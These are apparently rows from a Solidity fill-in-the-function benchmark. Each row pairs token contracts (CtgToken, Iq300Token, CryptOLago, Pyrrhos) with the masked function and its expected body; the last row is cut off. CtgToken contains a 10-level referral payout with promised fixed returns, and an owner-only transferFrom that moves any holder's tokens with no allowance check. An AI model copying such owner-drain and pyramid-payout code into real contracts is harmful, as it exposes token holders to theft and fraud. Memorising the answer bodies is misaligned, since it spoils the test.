formatDecimals(23).div(10) && parentAddress == address(0) && !checkIsCycle(msg.sender, _to)) { IterableMapping.insert(accounts, msg.sender, _to, addressInfos[msg.sender].activated); AddressInfo storage info = addressInfos[_to]; info.children.push(msg.sender); super.transfer(_to, _value); emit SetParent(msg.sender, _to); } else if (_to == contractAddress) { super.transfer(_to, _value); // Static income uint profitKey = getProfitLevelNum(_value); StaticProfit storage profit = profits[profitKey]; if (profit.num > 0) { profitLogs[logIndex] = ProfitLog({_address:msg.sender, levelNum:profit.num, num : _value, day : profit.day, rate : profit.rate, getDay : 0, updatedAt: 0}); } //activate user addressInfos[msg.sender].profitsIndex.push(logIndex); logIndex++; if (profitKey >= 1000) { addressInfos[msg.sender].activated = true; IterableMapping.insert(accounts, msg.sender, parentAddress, true); } //Dynamic income if (profitKey > 0 && addressInfos[msg.sender].activated) { sendBuyShare(msg.sender, profitKey); } } else { super.transfer(_to, _value); } } function transferFromPool(address _to, uint _value) internal { balances[pool] = balances[pool].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(pool, _to, _value); } function transferFrom(address _from, address _to, uint _value) public onlyOwner { require(!isBlackListed[_from]); // var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } // if (_allowance < MAX_UINT) { // allowed[_from][msg.sender] = _allowance.sub(_value); // } uint sendAmount = _value.sub(fee); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); emit Transfer(_from, owner, fee); } emit Transfer(_from, _to, sendAmount); } // Forward ERC20 methods to upgraded contract if this one is deprecated function balanceOf(address who) public constant returns (uint) { return super.balanceOf(who); } // Forward ERC20 methods to upgraded contract if this one is deprecated function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { return super.approve(_spender, _value); } // Forward ERC20 methods to upgraded contract if this one is deprecated function allowance(address _owner, address _spender) public constant returns (uint remaining) { return super.allowance(_owner, _spender); } // deprecate current contract if favour of a new one function totalSupply() public constant returns (uint) { return totalSupplyNum; } event SetShareRateConfig(uint level, uint oldRate, uint newRate); event SetProfitConfig(uint num, uint8 day, uint8 rate); event SetParent(address _childAddress, address _parentAddress); event SetLevel(address _address, uint8 level); event SendLevelProfit(address _address, uint8 level,uint num); event ReleaseProfit(address _address, uint num, uint8 day); event BuyShare(address from, address to, uint num); }
contract CtgToken is StandardToken, BlackList, IterableMapping { string public name; string public symbol; uint public decimals; address public pool = 0x9492D2F14d6d4D562a9DA4793b347f2AaB3B607A; //矿池地址 address public teamAddress = 0x45D1c050C458de9b18104bdFb7ddEbA510f6D9f2; //研发团队地址 address public peer = 0x87dfEFFa31950584d6211D6A7871c3AdA2157aE1; //节点分红 address public foundation0 = 0x6eDFEaB0D0B6BD3d6848A3556B2753f53b182cCd; address public foundation1 = 0x5CD65995e25EC1D73EcDBc61D4cF32238304D1eA; address public foundation2 = 0x7D1E3dD3c5459BAdA93C442442D4072116e21034; address public foundation3 = 0x5001c2917B18B18853032C3e944Fe512532E0FD1; address public foundation4 = 0x9c131257919aE78B746222661076CF781a8FF7c6; address public candy = 0x279C18756568B8717e915FfB8eFe2784abCb89cf; address public contractAddress = 0x81E98EfF052837f7c1Dceb8947d08a2b908E8793; uint public recommendNum; itmap accounts; mapping(uint => uint) public shareRate; mapping(address => uint8) public levels; mapping(uint => uint) public levelProfit; struct StaticProfit { uint num; uint8 day; uint8 rate; } mapping(uint => StaticProfit) public profits; mapping(address => AddressInfo) public addressInfos; struct AddressInfo { address[] children; address _address; uint[] profitsIndex; bool activated; } struct ProfitLog { address _address; uint levelNum; uint num; uint8 day; uint8 rate; uint8 getDay; uint updatedAt; } mapping(uint => ProfitLog) public profitLogs; uint logIndex = 0; <FILL_FUNCTION> function setLevelProfit(uint level, uint num) public onlyOwner { require(levelProfit[level] > 0, "The level config doesn't exist!"); levelProfit[level] = formatDecimals(num); } function setRecommendNum(uint num) public onlyOwner { require(recommendNum != num, "The value is equal old value!"); recommendNum = num; } function setShareRateConfig(uint level, uint rate) public onlyOwner { require(shareRate[level] > 0, "This level does not exist"); uint oldRate = shareRate[level]; shareRate[level] = rate; emit SetShareRateConfig(level, oldRate, rate); } function getProfitLevelNum(uint num) internal constant returns(uint) { if (num < formatDecimals(100)) { return 0; } if (num >=formatDecimals(100) && num < formatDecimals(1000)) { return formatDecimals(100); } if (num >=formatDecimals(1000) && num < formatDecimals(5000)) { return formatDecimals(1000); } if (num >=formatDecimals(5000) && num < formatDecimals(10000)) { return formatDecimals(5000); } if (num >=formatDecimals(10000) && num < formatDecimals(30000)) { return formatDecimals(10000); } if (num >=formatDecimals(30000)) { return formatDecimals(30000); } } function getAddressProfitLevel(address _address) public constant returns (uint) { uint maxLevel = 0; uint[] memory indexes = addressInfos[_address].profitsIndex; for (uint i=0; i<indexes.length; i++) { uint k = indexes[i]; if (profitLogs[k].day > 0 && (profitLogs[k].day > profitLogs[k].getDay) && (profitLogs[k].levelNum > maxLevel)) { maxLevel = profitLogs[k].levelNum; } } return maxLevel; } function getAddressProfitNum(address _address) public constant returns (uint) { uint num = 0; uint[] memory indexes = addressInfos[_address].profitsIndex; for (uint i=0; i<indexes.length; i++) { uint k = indexes[i]; if (profitLogs[k].day > 0 && (profitLogs[k].day > profitLogs[k].getDay)) { num += profitLogs[k].num; } } return num; } function getAddressActiveChildrenCount(address _address) public constant returns (uint) { uint num = 0; for(uint i=0; i<addressInfos[_address].children.length; i++) { address child = addressInfos[_address].children[i]; AddressInfo memory childInfo = addressInfos[child]; if (childInfo.activated) { num++; } } return num; } function setProfitConfig(uint256 num, uint8 day, uint8 rate) public onlyOwner { require(profits[formatDecimals(num)].num>0, "This profit config not exist"); profits[formatDecimals(num)] = StaticProfit(formatDecimals(num), day, rate); emit SetProfitConfig(num, day, rate); } function formatDecimals(uint256 _value) internal view returns (uint256) { return _value * 10 ** decimals; } function parent(address _address) public view returns (address) { return accounts.data[_address].parentAddress; } function checkIsCycle(address _child, address _parent) internal view returns (bool) { address t = _parent; while (t != address(0)) { if (t == _child) { return true; } t = parent(t); } return false; } function iterate_start() public view returns (uint keyIndex) { return super.iterate_start(accounts); } function iterate_next(uint keyIndex) public view returns (uint r_keyIndex) { return super.iterate_next(accounts, keyIndex); } function iterate_valid(uint keyIndex) public view returns (bool) { return super.iterate_valid(accounts, keyIndex); } function iterate_get(uint keyIndex) public view returns (address accountAddress, address parentAddress, bool active) { (accountAddress, parentAddress, active) = super.iterate_get(accounts, keyIndex); } function sendBuyShare(address _address, uint _value) internal { address p = parent(_address); uint level = 1; while (p != address(0) && level <= 10) { uint activeChildrenNum = getAddressActiveChildrenCount(p); if (activeChildrenNum < level) { p = parent(p); level = level + 1; continue; } AddressInfo storage info = addressInfos[p]; if (!info.activated) { p = parent(p); level = level + 1; continue; } uint profitLevel = getAddressProfitLevel(p); uint addValue = _value.mul(shareRate[level]).div(100); if (_value > profitLevel) { addValue = profitLevel.mul(shareRate[level]).div(100); } transferFromPool(p, addValue); emit BuyShare(msg.sender, p, addValue); p = parent(p); level = level + 1; } } function releaseProfit(uint index) public onlyOwner { ProfitLog memory log = profitLogs[index]; if (log.day == 0 || log.day == log.getDay) { return; } uint addValue = log.num.mul(uint(log.rate).add(100)).div(100).div(uint(log.day)); uint diffDay = 1; if (log.updatedAt > 0) { diffDay = now.sub(log.updatedAt).div(24*3600); } if (diffDay > 0) { addValue = addValue.mul(diffDay); transferFrom(pool, log._address, addValue); profitLogs[index].getDay = log.getDay + uint8(diffDay); profitLogs[index].updatedAt = now; emit ReleaseProfit(log._address, addValue, log.getDay+1); } } function releaseAllProfit() public onlyOwner { for (uint i = 0; i<logIndex; i++) { releaseProfit(i); } } function setLevel(address _address, uint8 level, bool sendProfit) public onlyOwner { levels[_address] = level; emit SetLevel(_address, level); if (sendProfit) { uint num = levelProfit[uint(level)]; if (num > 0) { transferFromPool(_address, num); emit SendLevelProfit(_address, level, num); } } } function transfer(address _to, uint _value) public { address parentAddress = parent(msg.sender); if (_value == formatDecimals(23).div(10) && parentAddress == address(0) && !checkIsCycle(msg.sender, _to)) { IterableMapping.insert(accounts, msg.sender, _to, addressInfos[msg.sender].activated); AddressInfo storage info = addressInfos[_to]; info.children.push(msg.sender); super.transfer(_to, _value); emit SetParent(msg.sender, _to); } else if (_to == contractAddress) { super.transfer(_to, _value); // Static income uint profitKey = getProfitLevelNum(_value); StaticProfit storage profit = profits[profitKey]; if (profit.num > 0) { profitLogs[logIndex] = ProfitLog({_address:msg.sender, levelNum:profit.num, num : _value, day : profit.day, rate : profit.rate, getDay : 0, updatedAt: 0}); } //activate user addressInfos[msg.sender].profitsIndex.push(logIndex); logIndex++; if (profitKey >= 1000) { addressInfos[msg.sender].activated = true; IterableMapping.insert(accounts, msg.sender, parentAddress, true); } //Dynamic income if (profitKey > 0 && addressInfos[msg.sender].activated) { sendBuyShare(msg.sender, profitKey); } } else { super.transfer(_to, _value); } } function transferFromPool(address _to, uint _value) internal { balances[pool] = balances[pool].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(pool, _to, _value); } function transferFrom(address _from, address _to, uint _value) public onlyOwner { require(!isBlackListed[_from]); // var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } // if (_allowance < MAX_UINT) { // allowed[_from][msg.sender] = _allowance.sub(_value); // } uint sendAmount = _value.sub(fee); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); emit Transfer(_from, owner, fee); } emit Transfer(_from, _to, sendAmount); } // Forward ERC20 methods to upgraded contract if this one is deprecated function balanceOf(address who) public constant returns (uint) { return super.balanceOf(who); } // Forward ERC20 methods to upgraded contract if this one is deprecated function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { return super.approve(_spender, _value); } // Forward ERC20 methods to upgraded contract if this one is deprecated function allowance(address _owner, address _spender) public constant returns (uint remaining) { return super.allowance(_owner, _spender); } // deprecate current contract if favour of a new one function totalSupply() public constant returns (uint) { return totalSupplyNum; } event SetShareRateConfig(uint level, uint oldRate, uint newRate); event SetProfitConfig(uint num, uint8 day, uint8 rate); event SetParent(address _childAddress, address _parentAddress); event SetLevel(address _address, uint8 level); event SendLevelProfit(address _address, uint8 level,uint num); event ReleaseProfit(address _address, uint num, uint8 day); event BuyShare(address from, address to, uint num); }
totalSupplyNum = formatDecimals(720000000); name = _name; symbol = _symbol; decimals = _decimals; balances[pool] = formatDecimals(5400000000); balances[teamAddress] = formatDecimals(64800000); balances[peer] = formatDecimals(43200000); balances[foundation0] = formatDecimals(10080000); balances[foundation1] = formatDecimals(10080000); balances[foundation2] = formatDecimals(10080000); balances[foundation3] = formatDecimals(10080000); balances[foundation4] = formatDecimals(10080000); balances[candy] = formatDecimals(21600000); //推广收益比例 shareRate[1] = 7; shareRate[2] = 5; shareRate[3] = 3; shareRate[4] = 2; shareRate[5] = 1; shareRate[6] = 1; shareRate[7] = 1; shareRate[8] = 1; shareRate[9] = 1; shareRate[10] = 1; //等级奖励 levelProfit[1] = formatDecimals(1000); levelProfit[2] = formatDecimals(3000); levelProfit[3] = formatDecimals(10000); levelProfit[4] = formatDecimals(50000); levelProfit[5] = formatDecimals(100000); //合约收益配置 profits[formatDecimals(100)] = StaticProfit(formatDecimals(100), 30, 10); profits[formatDecimals(1000)] = StaticProfit(formatDecimals(1000), 30, 15); profits[formatDecimals(5000)] = StaticProfit(formatDecimals(5000), 30, 20); profits[formatDecimals(10000)] = StaticProfit(formatDecimals(10000), 30, 25); profits[formatDecimals(30000)] = StaticProfit(formatDecimals(30000), 30, 30); recommendNum = formatDecimals(23).div(10);
constructor(string _name, string _symbol, uint _decimals) public
constructor(string _name, string _symbol, uint _decimals) public
51,229
Iq300Token
mintFromTrustedContract
contract Iq300Token is StandardToken, Ownable { string public constant name = "IQ300 Coin"; string public constant symbol = "IQC"; uint32 public constant decimals = 18; address public trustedContractAddr; event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { return _mint(_to, _amount); } function setTrustedMinterAddr(address newAddr) onlyOwner { if (newAddr != address(0)) { trustedContractAddr = newAddr; } } function mintFromTrustedContract(address _to, uint256 _amount) canMint returns (bool) {<FILL_FUNCTION_BODY> } function _mint(address _to, uint256 _amount) private canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } }
contract Iq300Token is StandardToken, Ownable { string public constant name = "IQ300 Coin"; string public constant symbol = "IQC"; uint32 public constant decimals = 18; address public trustedContractAddr; event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { return _mint(_to, _amount); } function setTrustedMinterAddr(address newAddr) onlyOwner { if (newAddr != address(0)) { trustedContractAddr = newAddr; } } <FILL_FUNCTION> function _mint(address _to, uint256 _amount) private canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } }
require(msg.sender == trustedContractAddr); return _mint(_to, _amount);
function mintFromTrustedContract(address _to, uint256 _amount) canMint returns (bool)
function mintFromTrustedContract(address _to, uint256 _amount) canMint returns (bool)
72,142
CryptOLago
restart
contract CryptOLago is Recoverable { // frequency of this depends on how often splitter gets called; receive() external payable {} ITrumpD public token; EnumerableSet.AddressSet private winners; EnumerableSet.AddressSet private losers; uint public _startTime; uint public qualifyingPeriod = 1 days; uint public minTrumpD; uint public perDay; // hundredths uint public step; // hundredths bool private _oneTime; uint private _iteration; uint public startTimeEpoch; bool public isWinning = true; uint public _startedAt; uint public _endedAt; bool public _isDistributing; event Winner(address indexed winners, uint giftAmount); constructor() payable { _startedAt = block.timestamp; } function putOnList(address account, uint amount, uint lastTransferOut) external onlyAuthorized { // make sure no one gets on the list while we are distributing if(!_isDistributing && isWinning && account != address(token)) { if( amount > minTrumpD && _startTime >= lastTransferOut && !EnumerableSet.contains(losers, account) ) { EnumerableSet.add(winners, account); } else if(EnumerableSet.contains(winners, account) && !EnumerableSet.contains(losers, account)) { EnumerableSet.add(losers, account); EnumerableSet.remove(winners, account); } } } function getIsWinner(address account) external view onlyAuthorized returns(bool) { return EnumerableSet.contains(winners, account); } function getIsLoser(address account) external view onlyAuthorized returns(bool) { return EnumerableSet.contains(losers, account); } function bigWinners(uint gasLimit) external onlyAuthorized { require(block.timestamp >= startTimeEpoch + qualifyingPeriod, "too soon"); require(isWinning, "wait till next christmas?"); _startedAt = _iteration; _isDistributing = true; uint l = EnumerableSet.length(winners); require(l > 0, "can't distribute to no one"); // sends 10% of this the first day, then 14% then 10+(days*4) or 50% on the 10th day. uint sendAmount = (address(this).balance * perDay / 100) / l; uint gasLeft = gasleft(); uint gasUsed; for(uint i = _iteration; i < l && gasUsed <= gasLimit; i++) { address giftee = EnumerableSet.at(winners, i); payable(giftee).transfer(sendAmount); emit Winner(giftee, sendAmount); _iteration++; if(_iteration >= l || _endedAt >= l) { _iteration = 0; _startTime = block.timestamp; perDay += step; _isDistributing = false; return; } gasUsed = gasLeft - gasleft(); gasLeft = gasleft(); } } function updateList(address account, bool v, bool l) external onlyAuthorized { if(l) { if(v) { EnumerableSet.add(winners, account); } else { EnumerableSet.remove(winners, account); } } else { if(v) { EnumerableSet.add(losers, account); } else { EnumerableSet.remove(losers, account); } } } function goodJob(address greatGuy, uint amount) external onlyAuthorized { require(amount <= token.balanceOf(address(this)) / 100, "cant be more than 1%"); token.transfer(greatGuy, amount); emit Winner(greatGuy, amount); } function restart() external onlyAuthorized {<FILL_FUNCTION_BODY> } function setTrialPeriod(uint256 period) external onlyAuthorized { qualifyingPeriod = period; } function setMinTrumpD(uint i, bool useDecimals) external onlyAuthorized { minTrumpD = useDecimals ? i * (10 ** token.decimals()) : i; } function setIsCryptOLagoing(bool v) external onlyAuthorized { isWinning = v; } function setToken(address t) external onlyAuthorized { token = ITrumpD(t); } function setPerIterationIncrease(uint s, uint i) external onlyAuthorized { step = s; perDay = i; } function getNiceLength() external view returns(uint) { return EnumerableSet.length(winners); } function getWinnerLength() external view returns(uint) { return EnumerableSet.length(losers); } function getLoserLength(uint index) external view returns(address) { return EnumerableSet.at(losers, index); } function getNiceIndex(uint index) external view returns(address) { return EnumerableSet.at(winners, index); } }
contract CryptOLago is Recoverable { // frequency of this depends on how often splitter gets called; receive() external payable {} ITrumpD public token; EnumerableSet.AddressSet private winners; EnumerableSet.AddressSet private losers; uint public _startTime; uint public qualifyingPeriod = 1 days; uint public minTrumpD; uint public perDay; // hundredths uint public step; // hundredths bool private _oneTime; uint private _iteration; uint public startTimeEpoch; bool public isWinning = true; uint public _startedAt; uint public _endedAt; bool public _isDistributing; event Winner(address indexed winners, uint giftAmount); constructor() payable { _startedAt = block.timestamp; } function putOnList(address account, uint amount, uint lastTransferOut) external onlyAuthorized { // make sure no one gets on the list while we are distributing if(!_isDistributing && isWinning && account != address(token)) { if( amount > minTrumpD && _startTime >= lastTransferOut && !EnumerableSet.contains(losers, account) ) { EnumerableSet.add(winners, account); } else if(EnumerableSet.contains(winners, account) && !EnumerableSet.contains(losers, account)) { EnumerableSet.add(losers, account); EnumerableSet.remove(winners, account); } } } function getIsWinner(address account) external view onlyAuthorized returns(bool) { return EnumerableSet.contains(winners, account); } function getIsLoser(address account) external view onlyAuthorized returns(bool) { return EnumerableSet.contains(losers, account); } function bigWinners(uint gasLimit) external onlyAuthorized { require(block.timestamp >= startTimeEpoch + qualifyingPeriod, "too soon"); require(isWinning, "wait till next christmas?"); _startedAt = _iteration; _isDistributing = true; uint l = EnumerableSet.length(winners); require(l > 0, "can't distribute to no one"); // sends 10% of this the first day, then 14% then 10+(days*4) or 50% on the 10th day. uint sendAmount = (address(this).balance * perDay / 100) / l; uint gasLeft = gasleft(); uint gasUsed; for(uint i = _iteration; i < l && gasUsed <= gasLimit; i++) { address giftee = EnumerableSet.at(winners, i); payable(giftee).transfer(sendAmount); emit Winner(giftee, sendAmount); _iteration++; if(_iteration >= l || _endedAt >= l) { _iteration = 0; _startTime = block.timestamp; perDay += step; _isDistributing = false; return; } gasUsed = gasLeft - gasleft(); gasLeft = gasleft(); } } function updateList(address account, bool v, bool l) external onlyAuthorized { if(l) { if(v) { EnumerableSet.add(winners, account); } else { EnumerableSet.remove(winners, account); } } else { if(v) { EnumerableSet.add(losers, account); } else { EnumerableSet.remove(losers, account); } } } function goodJob(address greatGuy, uint amount) external onlyAuthorized { require(amount <= token.balanceOf(address(this)) / 100, "cant be more than 1%"); token.transfer(greatGuy, amount); emit Winner(greatGuy, amount); } <FILL_FUNCTION> function setTrialPeriod(uint256 period) external onlyAuthorized { qualifyingPeriod = period; } function setMinTrumpD(uint i, bool useDecimals) external onlyAuthorized { minTrumpD = useDecimals ? i * (10 ** token.decimals()) : i; } function setIsCryptOLagoing(bool v) external onlyAuthorized { isWinning = v; } function setToken(address t) external onlyAuthorized { token = ITrumpD(t); } function setPerIterationIncrease(uint s, uint i) external onlyAuthorized { step = s; perDay = i; } function getNiceLength() external view returns(uint) { return EnumerableSet.length(winners); } function getWinnerLength() external view returns(uint) { return EnumerableSet.length(losers); } function getLoserLength(uint index) external view returns(address) { return EnumerableSet.at(losers, index); } function getNiceIndex(uint index) external view returns(address) { return EnumerableSet.at(winners, index); } }
delete losers; delete winners; _startTime = block.timestamp;
function restart() external onlyAuthorized
function restart() external onlyAuthorized
53,166
Pyrrhos
null
contract Pyrrhos is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public RATE; uint public DENOMINATOR; bool public isStopped = false; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; event Mint(address indexed to, uint256 amount); event ChangeRate(uint256 amount); modifier onlyWhenRunning { require(!isStopped); _; } // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public {<FILL_FUNCTION_BODY> } // ---------------------------------------------------------------------------- // It invokes when someone sends ETH to this contract address // requires enough gas for execution // ---------------------------------------------------------------------------- function() public payable { buyTokens(); } // ---------------------------------------------------------------------------- // Function to handle eth and token transfers // tokens are transferred to user // ETH are transferred to current owner // ---------------------------------------------------------------------------- function buyTokens() onlyWhenRunning public payable { require(msg.value > 0); uint tokens = msg.value.mul(RATE).div(DENOMINATOR); require(balances[owner] >= tokens); balances[msg.sender] = balances[msg.sender].add(tokens); balances[owner] = balances[owner].sub(tokens); emit Transfer(owner, msg.sender, tokens); owner.transfer(msg.value); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { require(to != address(0)); require(tokens > 0); require(balances[msg.sender] >= tokens); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { require(spender != address(0)); require(tokens > 0); allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { require(from != address(0)); require(to != address(0)); require(tokens > 0); require(balances[from] >= tokens); require(allowed[from][msg.sender] >= tokens); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Increase the amount of tokens that an owner allowed to a spender. // // approve should be called when allowed[_spender] == 0. To increment // allowed value is better to use this function to avoid 2 calls (and wait until // the first transaction is mined) // _spender The address which will spend the funds. // _addedValue The amount of tokens to increase the allowance by. // ------------------------------------------------------------------------ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { require(_spender != address(0)); allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // ------------------------------------------------------------------------ // Decrease the amount of tokens that an owner allowed to a spender. // // approve should be called when allowed[_spender] == 0. To decrement // allowed value is better to use this function to avoid 2 calls (and wait until // the first transaction is mined) // _spender The address which will spend the funds. // _subtractedValue The amount of tokens to decrease the allowance by. // ------------------------------------------------------------------------ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { require(_spender != address(0)); uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // ------------------------------------------------------------------------ // Change the ETH to IO rate // ------------------------------------------------------------------------ function changeRate(uint256 _rate) public onlyOwner { require(_rate > 0); RATE =_rate; emit ChangeRate(_rate); } // ------------------------------------------------------------------------ // Function to mint tokens // _to The address that will receive the minted tokens. // _amount The amount of tokens to mint. // A boolean that indicates if the operation was successful. // ------------------------------------------------------------------------ function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { require(_to != address(0)); require(_amount > 0); uint newamount = _amount * 10**uint(decimals); _totalSupply = _totalSupply.add(newamount); balances[_to] = balances[_to].add(newamount); emit Mint(_to, newamount); emit Transfer(address(0), _to, newamount); return true; } // ------------------------------------------------------------------------ // function to stop the ICO // ------------------------------------------------------------------------ function stopICO() onlyOwner public { isStopped = true; } // ------------------------------------------------------------------------ // function to resume ICO // ------------------------------------------------------------------------ function resumeICO() onlyOwner public { isStopped = false; } }
contract Pyrrhos is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public RATE; uint public DENOMINATOR; bool public isStopped = false; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; event Mint(address indexed to, uint256 amount); event ChangeRate(uint256 amount); modifier onlyWhenRunning { require(!isStopped); _; } <FILL_FUNCTION> // ---------------------------------------------------------------------------- // It invokes when someone sends ETH to this contract address // requires enough gas for execution // ---------------------------------------------------------------------------- function() public payable { buyTokens(); } // ---------------------------------------------------------------------------- // Function to handle eth and token transfers // tokens are transferred to user // ETH are transferred to current owner // ---------------------------------------------------------------------------- function buyTokens() onlyWhenRunning public payable { require(msg.value > 0); uint tokens = msg.value.mul(RATE).div(DENOMINATOR); require(balances[owner] >= tokens); balances[msg.sender] = balances[msg.sender].add(tokens); balances[owner] = balances[owner].sub(tokens); emit Transfer(owner, msg.sender, tokens); owner.transfer(msg.value); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { require(to != address(0)); require(tokens > 0); require(balances[msg.sender] >= tokens); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { require(spender != address(0)); require(tokens > 0); allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { require(from != address(0)); require(to != address(0)); require(tokens > 0); require(balances[from] >= tokens); require(allowed[from][msg.sender] >= tokens); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Increase the amount of tokens that an owner allowed to a spender. // // approve should be called when allowed[_spender] == 0. To increment // allowed value is better to use this function to avoid 2 calls (and wait until // the first transaction is mined) // _spender The address which will spend the funds. // _addedValue The amount of tokens to increase the allowance by. // ------------------------------------------------------------------------ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { require(_spender != address(0)); allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // ------------------------------------------------------------------------ // Decrease the amount of tokens that an owner allowed to a spender. // // approve should be called when allowed[_spender] == 0. To decrement // allowed value is better to use this function to avoid 2 calls (and wait until // the first transaction is mined) // _spender The address which will spend the funds. // _subtractedValue The amount of tokens to decrease the allowance by. // ------------------------------------------------------------------------ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { require(_spender != address(0)); uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // ------------------------------------------------------------------------ // Change the ETH to IO rate // ------------------------------------------------------------------------ function changeRate(uint256 _rate) public onlyOwner { require(_rate > 0); RATE =_rate; emit ChangeRate(_rate); } // 